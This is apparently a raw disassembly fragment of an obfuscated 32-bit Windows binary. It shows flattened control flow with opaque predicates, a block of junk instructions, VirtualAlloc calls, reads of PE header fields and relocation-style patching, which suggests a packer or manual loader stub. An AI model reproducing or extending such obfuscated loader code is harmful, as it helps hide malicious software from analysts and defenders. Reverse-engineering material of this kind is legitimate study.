mov dword [ebp - 0x16c], eax
mov eax, dword [0x4e4174]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
and esi, 0x95b0c8d4
or edx, 0x228800ed
mov ecx, eax
and ecx, 0x6a4f372b
and edx, 0x6ef800ef
and eax, 0x1101e400
or ecx, esi
or eax, edx
mov edi, ecx
xor edi, 0x8000c4
mov esi, ecx
xor esi, 0x61300
mov edx, ecx
xor edx, 0x420b020a
xor ecx, 0x94a04000
or edi, 0x4c700002
and esi, 0x80061b10
or edx, 1
and ecx, 0xbce47520
and edi, 0x6ef800ef
and edx, 0x431b8adf
or esi, edi
or edx, ecx
xor eax, esi
mov esi, eax
not esi
and eax, 0xa28e1bfc
and esi, 0x5d71e403
or eax, esi
mov ecx, eax
not ecx
and eax, 0x5a9e14cf
mov esi, ecx
and esi, 0xa561eb30
or eax, esi
mov esi, edx
xor esi, 0x421a00ce
xor edx, 0xbce47520
or ecx, edx
and edx, 0xa561eb30
and esi, 0x5a9e14ce
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0xb9f6d1f4
mov eax, ecx
xor eax, 0x9d443900
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x62bbc6ff
and ecx, 0x9d443900
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x52a7de92
and eax, 0xad58216d
or eax, ecx
xor eax, 0xad58216d
setne dl
sete ch
cmp dword [0x4e4170], 0xa
setge dh
setl al
mov ah, dh
mov cl, al
xor al, dl
xor ah, ch
and cl, dl
and ch, dh
and ah, dh
or cl, ch
xor ah, 1
mov dl, ah
xor dl, al
or al, ah
mov ah, cl
xor al, 1
or al, dl
mov edx, eax
and ah, al
xor dl, 1
mov ch, dl
or dl, cl
xor cl, 1
and ch, cl
xor cl, al
xor dl, 1
or dl, cl
or ah, ch
mov ecx, 0xccf2ddbb
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test dl, 1
mov edx, 0xccf2ddbb
jmp 0x408114
cmp eax, 0x6092ebda
je 0x40cde5
cmp eax, 0x61679a8f
jne 0x401710
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0x10
mov eax, 0x11b2683a
jmp 0x401710
cmp eax, 0xe29cb0cf
je 0x40ce19
cmp eax, 0xe2e8893d
jne 0x401710
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
movzx eax, word [eax]
mov dword [ebp - 0x15c], eax
mov eax, 0xbe1e389
jmp 0x401710
cmp eax, 0xd4c9a80
je 0x40cf97
cmp eax, 0xff74b13
jne 0x401710
cmp byte [ebp - 0x97], 0
mov eax, 0xb7e3efd5
mov ecx, 0xdbcf8a38
cmovne eax, ecx
jmp 0x401710
cmp eax, 0x942913b3
je 0x40cfa1
cmp eax, 0x947733e5
jne 0x401710
mov eax, dword [ebp - 0x100]
mov eax, 0x2436dfdf
jmp 0x401710
cmp eax, 0x5090710a
je 0x40d01c
cmp eax, 0x50c77608
jne 0x401710
cmp dword [ebp - 0x1b4], 0
mov eax, 0x11e4779a
jmp 0x40d00f
cmp eax, 0xd747da8a
je 0x40d091
cmp eax, 0xd7619607
jne 0x401710
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x34]
mov eax, 0x1e9bb6e5
jmp 0x401710
cmp eax, 0x26b8cc8b
je 0x40d0ac
cmp eax, 0x27cfdde1
jne 0x401710
mov eax, dword [ebp - 0x54]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x38]
mov eax, 0x756a5697
jmp 0x401710
cmp eax, 0xb01ed06d
je 0x40d0ed
cmp eax, 0xb03480ad
jne 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x3c1f541c
mov esi, ecx
and esi, 0xc3e0abe2
and ecx, 0xe2ea098b
or edx, esi
mov esi, edx
xor esi, 0x18165014
xor edx, 0x3a0a940
and edx, 0x27a9ad48
and esi, 0xd85652b6
or esi, edx
mov edx, eax
or edx, 0x27a9ad48
and eax, 0x1d15f674
and edx, 0x27a9ad49
or eax, ecx
mov ecx, eax
xor edx, esi
xor ecx, 0x1d15f674
xor eax, 0xe2ea098b
mov esi, 0xdc3d1326
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
setne al
sete ah
cmp dword [0x4e4170], 0xa
mov ch, al
setl cl
setge dl
and ch, dl
and cl, ah
xor al, dl
or cl, ch
and al, ah
xor cl, 1
xor al, 1
or cl, dl
or dl, ah
mov ah, al
or al, dl
xor ah, dl
mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
mov ah, cl
and ah, al
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x99b52642
cmovne eax, esi
test dl, 1
mov edx, 0x99b52642
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401710
cmp eax, 0x702ce9a5
je 0x40d245
cmp eax, 0x724dc983
jne 0x401710
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xa0]
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xb9600fa8
and ecx, 0x469ff057
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x37ac8a63
and ecx, 0xc853759c
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x8a480488
xor ecx, 0x71337a34
xor eax, 0x962ece0c
and eax, ecx
and edx, 0x9b680c98
and ecx, 0x6497f367
or ecx, edx
mov edx, ecx
xor edx, 0x6415b020
xor ecx, 0x9b680c98
and edx, 0xe71db438
and ecx, 0xfffffffe
or eax, edx
mov edx, eax
not edx
and eax, 0x68a2f348
and edx, 0x975d0cb7
or eax, edx
xor eax, 0x8fbf4771
or ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0xf16a3a6
and ecx, 0x1040208
mov edx, eax
and edx, 0xf0e95c59
or eax, 0x54990191
or esi, edx
and eax, 0x74dba5f7
mov edx, esi
xor esi, 0x50890011
xor edx, 0xa000000
or ecx, eax
or esi, 0x2042a466
and edx, 0x8a205800
and esi, 0x74dba5f7
or edx, esi
mov esi, 0xfb9aa531
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0xdeb95991
and eax, 0x2146a66e
or ecx, eax
setne al
sete cl
cmp dword [0x4e4170], 0xa
setl ah
setge dl
and dl, cl
and al, ah
or al, dl
mov dl, ah
xor ah, cl
or dl, cl
xor dl, 1
or ah, dl
mov dl, ah
xor dl, 1
mov ecx, edx
and cl, ah
xor cl, 1
mov ch, cl
or cl, ah
xor ch, ah
mov ah, al
xor cl, 1
xor ah, dl
or dl, al
or cl, ch
xor dl, 1
xor cl, al
or dl, ah
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xf617960a
cmovne eax, esi
test dl, 1
mov edx, 0xf617960a
jmp 0x40cf87
cmp eax, 0xfbdb97e2
je 0x40d38e
cmp eax, 0xfbe20ac5
jne 0x401710
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0xd
mov eax, dword [ebp - 0x48]
mov eax, 0xe2992823
jmp 0x401710
cmp eax, 0xa79ce3b
je 0x40d398
cmp eax, 0xb67673a
jne 0x401710
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x104], eax
mov eax, 0xb03480ad
jmp 0x401710
mov eax, 0xce1b61d6
jmp 0x401710
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x13c]
mov dword [eax], ecx
mov eax, 0x9ee906af
jmp 0x401710
mov eax, dword [ebp - 0x2c]
mov dword [eax], 2
mov eax, 0x7d6115bd
jmp 0x401710
mov eax, dword [ebp - 0x184]
mov eax, dword [eax]
mov dword [ebp - 0x100], eax
mov eax, 0xa58fd952
jmp 0x401710
mov eax, 0xfc0a4517
jmp 0x401710
cmp byte [ebp - 0x94], 0
mov eax, 0xd9ce5f8d
mov ecx, 0xe2e8893d
cmovne eax, ecx
jmp 0x401710
mov eax, 0xf1c0da6a
jmp 0x401710
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x44]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x190], eax
mov eax, 0x6547a54b
jmp 0x401710
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [ebp - 0x38]
inc eax
mov dword [ecx], eax
mov eax, 0xfc0a4517
jmp 0x401710
mov eax, 0x694506c
jmp 0x401710
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0xb4]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov dword [eax], 0
mov eax, 0x772ddbd0
jmp 0x401710
push 4
push 0x3000
push dword [ebp - 0xe0]
push dword [ebp - 0x114]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x60]
cmp dword [eax + 4], 0
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
sete byte [ebp - 0x90]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x5a5ae1e5
mov esi, ecx
and esi, 0xa5a51e1a
or edx, esi
mov esi, eax
not esi
and eax, 0x5a5ae1e5
or ecx, esi
and esi, 0xa5a51e1a
or eax, esi
not ecx
mov esi, 0xa79ce3b
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xf4c8402b
and eax, 0xb37bfd4
or ecx, eax
xor ecx, 0xf4c8402b
setne dl
sete cl
cmp dword [0x4e4170], 0xa
mov ah, dl
setge al
setl dh
mov ch, al
and ah, dh
and ch, cl
xor cl, dh
or dh, dl
and cl, dl
or ah, ch
mov ch, al
or al, dl
xor cl, 1
xor ch, dl
xor al, 1
mov ebx, ecx
or cl, dh
or al, ch
xor al, 1
xor bl, dh
xor cl, 1
or cl, bl
or al, ah
mov edx, eax
mov ch, cl
xor dl, 1
xor ch, 1
and dl, ch
or ch, al
and al, cl
or al, dl
mov cl, ch
mov edx, 0xb95833e4
xor cl, al
test al, 1
mov eax, 0xb95833e4
cmovne eax, esi
test ch, 1
jmp 0x40c615
cmp byte [ebp - 0x99], 0
mov eax, 0xf20d1f46
mov ecx, 0x86df0547
cmovne eax, ecx
jmp 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 1
not ecx
and eax, 0x43b48b0
mov esi, ecx
and edx, 0xba117db9
and esi, 0x45ee8246
or esi, edx
mov edx, ecx
or edx, 0xba117db8
and ecx, 0xfbc4b74f
and edx, 0xba117db9
or eax, ecx
xor edx, esi
xor eax, 0x43b48b0
mov esi, edx
not esi
and edx, 0x35906573
and esi, 0xca6f9a8c
or edx, esi
mov esi, 0x83b9e07b
xor edx, 0x35906573
or eax, edx
mov ecx, eax
not ecx
and eax, 0xfef1df6e
and ecx, 0x10e2091
or eax, ecx
xor eax, 0xfef1df6e
sete al
setne cl
cmp dword [0x4e4170], 0xa
setl dl
setge ah
or dl, cl
or al, ah
or ah, cl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
and al, ah
xor ah, 1
xor cl, 1
mov dl, ah
xor dl, cl
and cl, ah
and dl, ah
or cl, al
mov eax, edx
xor al, cl
mov eax, 0x5d83775e
cmovne eax, esi
test cl, cl
mov ecx, eax
cmovne ecx, esi
test dl, dl
jmp 0x4016fe
mov eax, dword [ebp - 0x2c]
mov dword [eax], 1
mov eax, 0x6ad50ffe
jmp 0x401710
cmp dword [ebp - 0x1c4], 0
mov eax, 0x9c38f819
jmp 0x40c97d
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x170]
mov dword [eax], ecx
mov eax, 0xa5cd9d73
jmp 0x401710
cmp dword [ebp - 0x104], 0
mov eax, dword [0x4e4174]
lea edx, [eax + 1]
setne byte [ebp - 0x96]
imul edx, eax
mov ecx, edx
mov eax, edx
not ecx
or eax, 1
mov edi, ecx
mov esi, eax
and esi, 0x2e76a90d
and edi, 0xd18956f2
and ecx, 0x3cd5d0d3
or edi, esi
mov esi, edx
xor esi, 0xfffffffe
and esi, edx
mov ebx, esi
not ebx
and esi, 0xd18956f2
or eax, ebx
and ebx, 0x2e76a90d
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0xa06e8fce
and esi, 0x5f917031
or eax, esi
mov esi, eax
xor esi, 0x204480c2
xor eax, 0x5f917031
mov edi, eax
or eax, edx
and edx, 0xc32a2f2c
and edi, 0xc32a2f2c
and esi, 0x3cd5d0d3
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0xdc3d1326
or eax, ecx
xor eax, 0xffffffff
setne ah
sete dl
cmp dword [0x4e4170], 0xa
setl cl
setge al
mov ch, cl
or cl, dl
xor ch, dl
xor cl, 1
or cl, ch
mov ch, al
and al, dl
inc ch
mov edx, ecx
and ch, ah
or al, ch
xor al, 1
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x1415e8b0
cmovne eax, esi
test dl, dl
mov edx, 0x1415e8b0
cmove eax, esi
test cl, cl
cmove eax, edx
jmp 0x401710
mov edx, dword [ebp - 0x1b8]
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x6c413cbc
and edx, 0x93bec343
or eax, edx
mov edx, eax
xor edx, 0xc0114b8
xor eax, 0x93bec343
mov esi, eax
and esi, 0x72e46946
and edx, 0x8d1b96b9
or edx, esi
mov esi, ecx
not esi
and ecx, 0x8d1b96b9
or eax, esi
and esi, 0x72e46946
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 0x923e4712
xor edx, 0x8df309f1
mov edi, ecx
and edi, 0x6dc1b8ed
mov esi, ecx
and ecx, 0x20000000
and esi, 0x520cf60e
and edx, 0xadf309f1
or edi, eax
or edx, esi
xor edi, 0xb23e4712
or ecx, edi
not ecx
or ecx, edx
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0xe9ead33a
and ecx, 0x16152cc5
or edx, ecx
xor edx, 0xe9ead33a
or eax, edx
mov ecx, eax
not ecx
and eax, 0xb67e067d
mov edx, ecx
and edx, 0x4981f982
or eax, edx
xor eax, 0x4981f982
xor ecx, eax
test ecx, eax
mov eax, 0xc4789554
jmp 0x40d00f
mov eax, 0xc4d637e
jmp 0x401710
mov eax, dword [ebp - 0x104]
mov eax, 0x99b52642
jmp 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
and eax, 0x63e7cd26
mov edi, edx
or edi, 0xcd490bdc
mov esi, edx
and esi, 0xcd490bdc
and edx, 0x9c1832d9
mov ecx, edi
not ecx
and edi, 0x32b6f422
or eax, edx
or ecx, esi
and ecx, 0xcd490bdd
or ecx, edi
mov edx, ecx
not edx
and ecx, 0xc6effe9d
mov esi, edx
and esi, 0x39100162
or ecx, esi
mov esi, eax
xor esi, 0x42e7cc04
xor eax, 0x18100040
and eax, 0x39100162
and esi, 0xc6effe9d
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x3028e882
setne ch
sete ah
cmp dword [0x4e4170], 0xa
setl al
setge dl
mov cl, al
xor cl, ah
mov dh, cl
and cl, al
or al, ah
and dh, ah
not al
mov bl, dh
xor dh, cl
xor cl, 1
xor bl, 1
or cl, bl
xor cl, 1
or cl, dh
mov dh, dl
and dl, ah
inc dh
and dh, ch
or dl, dh
or al, dl
mov edx, 0xeb924ef2
xor al, cl
and al, 1
cmovne edx, esi
test al, cl
mov ecx, 0xeb924ef2
cmove edx, esi
cmovne edx, ecx
test al, al
jmp 0x40c6f0
mov eax, 0xa79cdbf3
jmp 0x401710
mov eax, 0xebbade0d
jmp 0x401710
push 4
push 0x3000
push dword [ebp - 0xe0]
push dword [ebp - 0x114]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x60]
mov eax, 0x6954c16f
jmp 0x401710
mov eax, dword [ebp - 0x4c]
mov eax, 0xa2f65c2e
jmp 0x401710
push dword [ebp - 0x138]
push dword [ebp - 0x12c]
push dword [ebp - 0x128]
vzeroupper
call fcn.00421dc0
add esp, 0xc
mov eax, 0x5e328de9
jmp 0x401710
mov eax, 0xaad4f065
jmp 0x401710
mov eax, dword [ebp - 0xd4]
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x2410f200
and eax, 0x8480414
mov edx, ecx
or edx, 0x822601a3
and esi, 0xa636f3a3
and ecx, 0x51810848
and edx, 0xa636f3a3
or ecx, esi
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x85c000fb
and ecx, 0x7a3fff04
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x8182282
xor ecx, 0x56670910
xor eax, 0x68b4b557
mov esi, ecx
and edx, 0x1c582382
and esi, 0xe3a7dc7d
and eax, ecx
or esi, edx
mov ecx, esi
xor ecx, 0xe3a7dc7d
xor esi, 0xc180302
mov edx, ecx
and edx, 0x3ed3bc47
and esi, 0xae9f8b5a
or eax, edx
mov edx, eax
not edx
and eax, 0x3ed3bc46
and edx, 0xc12c43b9
or eax, edx
mov edx, ecx
and edx, 0x516074a5
and ecx, 1
or edx, esi
mov esi, 0xf781327f
xor edx, 0xae9f8b5b
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xfbc9e92c
and edx, 0x43616d3
or ecx, edx
xor ecx, 0xfbc9e92c
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x4fceafae
and eax, 0xb0315051
or eax, ecx
xor eax, 0x4fceafae
setne ah
sete ch
cmp dword [0x4e4170], 0xa
setl cl
setge al
or ah, cl
or al, ch
mov edx, ecx
or cl, ch
xor ah, 1
xor al, 1
xor dl, ch
xor cl, 1
or al, ah
or cl, dl
mov ah, al
mov ch, al
mov edx, ecx
xor ah, 1
xor dl, 1
and ch, ah
xor ch, 1
or ch, ah
xor ah, cl
xor ch, 1
or ch, al
or al, dl
and dl, cl
xor dl, 1
xor al, 1
mov dh, dl
or dl, cl
or al, ah
xor dh, cl
xor dl, 1
mov cl, al
or dl, dh
xor ch, dl
mov edx, 0x54815886
xor cl, ch
test cl, 1
cmovne edx, esi
test al, 1
mov eax, 0x54815886
cmovne eax, edx
test ch, 1
cmove eax, edx
jmp 0x401710
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
movzx eax, word [eax + 6]
mov word [ebp - 0xbe], ax
mov eax, 0xe6c18518
jmp 0x401710
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0xf8]
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
setl byte [ebp - 0x94]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x2512165e
mov esi, edx
and esi, 0xdaede9a0
and edx, 0xac249cfc
or esi, ecx
mov ecx, eax
or ecx, 0x2512165e
and eax, 0x53db6303
and ecx, 0x2512165f
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0x8ce6d17e
mov esi, edx
and esi, 0x73192e81
or ecx, esi
mov esi, eax
xor esi, 0xc24102
xor eax, 0x20000c80
and eax, 0x73192e81
and esi, 0x8ce6d17e
or esi, eax
xor esi, ecx
not esi
or esi, edx
cmp esi, 0xffffffff
mov esi, 0x86ae5012
sete al
cmp dword [0x4e4170], 0xa
setge cl
setl ah
mov edx, ecx
xor dl, al
xor dl, 1
or cl, dl
and dl, al
xor al, ah
and al, ah
xor dl, 1
xor al, 1
mov ah, dl
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x54cfa6a
cmovne eax, esi
test dl, 1
mov edx, 0x54cfa6a
jmp 0x40c615
push eax
mov eax, esp
mov dword [ebp - 0x24], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 1
and ecx, 0x8cf0a21e
mov esi, eax
and esi, 0xfffffffe
and eax, 0x730f5de1
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x730f5de1
mov edi, esi
and edi, 0x8cf0a21e
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0xa6f9fa09
cmp eax, 0xffffffff
setne dl
cmp dword [0x4e4170], 0xa
mov ecx, edx
setge ah
setl al
inc cl
xor cl, ah
and cl, ah
xor ah, dl
or dl, al
and al, ah
mov ch, dl
xor al, 1
xor ch, al
or al, dl
mov edx, ecx
xor cl, ah
xor ah, 1
xor dl, 1
xor al, 1
or ah, dl
or al, ch
xor ah, 1
or ah, cl
mov dl, ah
xor dl, 1
mov ecx, edx
and cl, ah
xor dl, cl
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
mov edx, eax
mov ah, cl
xor dl, 1
xor ah, 1
and cl, dl
or dl, ah
and ah, al
or ah, cl
mov al, dl
mov ecx, 0xe18a871e
xor al, ah
test al, 1
cmovne ecx, esi
test ah, 1
mov esi, 0xe18a871e
jmp 0x409f76
mov eax, 0xcd1b7b07
jmp 0x401710
ror eax, 0xd4
mov ebx, 0x30
inc ebx
bswap edi
inc edi
imul ebx
inc ebx
sub esi, 0xa6
or esi, 0x2c
neg esi
inc edi
add edx, 2
bswap edx
rcr ebx, 0xaa
sbb eax, 0xae
dec edx
ror esi, 0x5b
bswap edx
neg eax
rcr esi, 0xfa
rcl ebx, 0x3e
neg edx
imul edi
and eax, 0xe6
ror edx, 0xb2
not edx
imul edx
neg esi
rcl eax, 0x7d
dec edx
or esi, 0x36
not edx
rcr ebx, 0xa5
ror eax, 0x96
inc edi
not ebx
not ebx
rcr ebx, 0xc8
mov edx, 0x27
neg eax
not eax
or edi, 0x68
imul eax
add eax, 0x8d
ror edi, 0xb7
neg esi
dec edi
not eax
sbb eax, 0x27
inc esi
neg esi
mov edi, 0x43
mov edi, 0xd6
inc edx
not esi
rcl edi, 0xfb
inc esi
rol edx, 0xb2
ror esi, 0xb7
and ebx, 0xbe
neg eax
sbb edi, 0xb6
dec edx
dec esi
ror eax, 0xb7
sub eax, 0x21
neg eax
rcl esi, 0x2e
not edx
not eax
sub edx, 0x15
bswap edi
bswap esi
neg esi
imul edx
not ebx
neg edx
imul ebx
neg edx
add edi, 0x7a
dec edx
inc eax
neg edx
neg edi
and esi, 0x58
not edx
mov edx, 0xfc
dec esi
imul edi
rol ebx, 0xcf
neg edi
sub esi, 0x65
dec eax
dec edi
rol esi, 0x40
imul edx
mov edx, 0x43
inc eax
dec esi
or edx, 0xae
add edi, 1
or eax, 0x60
and edi, 0xa6
bswap edi
inc ebx
bswap esi
inc ebx
and edi, 0xcb
add esi, 0x85
inc esi
rcl edi, 0x71
inc ebx
bswap edi
rol edi, 0x7a
neg eax
inc esi
inc edx
inc edx
rcr edx, 0xbe
add edi, 0x3c
bswap eax
imul ebx
bswap edi
not eax
rol esi, 0x4f
add eax, 0xf6
inc edx
and edx, 0x9b
imul eax
neg eax
rol eax, 0xf4
imul eax
dec ebx
or eax, 0xd8
sbb edx, 0x45
neg ebx
mov ebx, 0xfd
not ebx
dec ebx
rcl ebx, 0x87
and edx, 0xa6
mov edx, 0x7f
bswap edx
ror ebx, 0x9f
rol ebx, 0xa9
not edx
not esi
and edi, 0xd0
bswap edx
inc edx
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0xbc]
mov eax, 0x2cafcd24
jmp 0x401710
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x3188d9d8
mov esi, edx
and esi, 0xce772627
and edx, 0x2dac6535
or eax, esi
mov esi, eax
xor eax, 0x4c772027
xor esi, 0x805800
or eax, 0xb3008650
and esi, 0x4ca27806
mov edi, eax
and edi, 0xa35d05f9
or esi, edi
mov edi, ecx
xor edi, 0x4cff79af
and edi, ecx
and ecx, 0xd2539aca
mov ebx, edi
not ebx
and edi, 0x5ca2fa06
or ecx, edx
or eax, ebx
and ebx, 0xa35d05f9
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov esi, eax
not esi
and eax, 0x4cff79ae
and esi, 0xb3008651
or eax, esi
mov esi, eax
not esi
mov edx, eax
and edx, 0xbda6776
and esi, 0xf4259889
or esi, edx
mov edx, ecx
xor edx, 0xd0019888
xor ecx, 0x2dac6535
or eax, ecx
and ecx, 0xbda6776
and edx, 0xf4259889
or edx, ecx
not eax
xor edx, esi
mov esi, 0x1e9bb6e5
or eax, edx
mov ecx, eax
not ecx
and eax, 0x5e7aec3
and ecx, 0xfa18513c
or eax, ecx
xor eax, 0x5e7aec3
sete ah
setne dl
cmp dword [0x4e4170], 0xa
mov dh, ah
setl ch
setge cl
mov al, ch
xor ch, ah
and dh, cl
and al, dl
or dl, cl
xor cl, ah
xor dl, 1
mov ah, cl
or al, dh
or dl, ch
mov dh, al
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
mov ah, al
xor ah, 1
mov dl, cl
mov ch, ah
xor ah, cl
xor cl, 1
and ch, al
and dl, cl
mov bh, cl
xor ch, 1
xor dl, 1
xor dh, ch
or ch, al
xor bh, dl
or dl, cl
or cl, al
xor ch, 1
xor dl, 1
xor cl, 1
or ch, dh
or dl, bh
or cl, ah
mov bl, ch
mov eax, ecx
xor bl, 1
and bl, dl
xor dl, 1
and dl, ch
or dl, bl
xor al, dl
test al, 1
mov eax, 0xd7619607
cmovne esi, eax
test cl, 1
mov eax, 0x1e9bb6e5
cmovne eax, esi
test dl, 1
cmove eax, esi
jmp 0x401710
mov ecx, dword [0x4e4174]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 1
and eax, 0x9b539f8
mov esi, edx
and esi, 0xfffffffe
and edx, 0xf64ac607
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0xe9917d9c
xor eax, 0x9b539f8
and esi, 0x166e8263
or ecx, esi
mov esi, 0xfb3d9594
xor ecx, 0xe9917d9c
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x4e4170], 0xa
setl cl
mov al, cl
xor ah, cl
xor cl, dl
or al, dl
xor ah, 1
mov edx, ecx
xor al, 1
xor dl, 1
or al, ah
mov ah, al
and cl, al
or al, dl
not ah
and dl, ah
or dl, cl
mov ecx, eax
xor cl, dl
mov ecx, 0x95c382a3
cmovne ecx, esi
test dl, dl
mov esi, 0x95c382a3
jmp 0x408338
mov eax, dword [0x4e4174]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xbc77b129
mov edx, ecx
and edx, 0x98718021
and eax, ecx
not ecx
mov esi, ecx
and esi, 0x24063108
or edx, esi
mov esi, 0xd4bc46ad
xor edx, 0x98718021
or eax, edx
mov edx, eax
not edx
and eax, 0xbc77b128
and edx, 0x43884ed7
or eax, edx
mov edx, eax
not edx
and eax, 0x354d0ebd
and edx, 0xcab2f142
or eax, edx
xor eax, 0x354d0ebd
or eax, ecx
xor eax, 0xffffffff
sete dh
setne ch
cmp dword [0x4e4170], 0xa
setge al
setl bl
mov ah, al
mov cl, bl
xor ah, dh
xor cl, ch
and ch, bl
and ah, al
and al, dh
mov edx, ecx
or al, ch
xor ah, 1
xor dl, 1
xor al, 1
mov ch, ah
mov dh, dl
xor ch, al
or al, ah
xor al, 1
or al, ch
mov ah, al
xor ah, 1
mov ch, ah
xor dh, ah
or ah, dl
and dl, cl
xor dl, 1
and ch, al
xor ah, 1
mov ebx, edx
or dl, cl
xor ch, 1
or ah, dh
xor bl, cl
xor dl, 1
or dl, bl
mov bl, ch
or ch, al
xor bl, al
xor ch, 1
mov al, ah
or ch, bl
xor ch, dl
mov edx, 0xe0d5b3c7
xor al, ch
test ah, 1
cmovne edx, esi
test ch, 1
cmove edx, esi
test al, 1
mov eax, 0xe0d5b3c7
jmp 0x40cf8d
mov eax, dword [ebp - 0x16c]
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xfff
and eax, 0xb986cf08
mov esi, edx
and esi, 0xfffff000
and edx, 0x467930f7
or ecx, esi
mov esi, dword [ebp - 0x168]
or eax, edx
not ecx
xor eax, 0xb986cf08
or eax, ecx
not eax
mov edx, dword [esi + eax]
add edx, dword [ebp - 0x164]
mov dword [esi + eax], edx
mov eax, 0xa595016f
jmp 0x401710
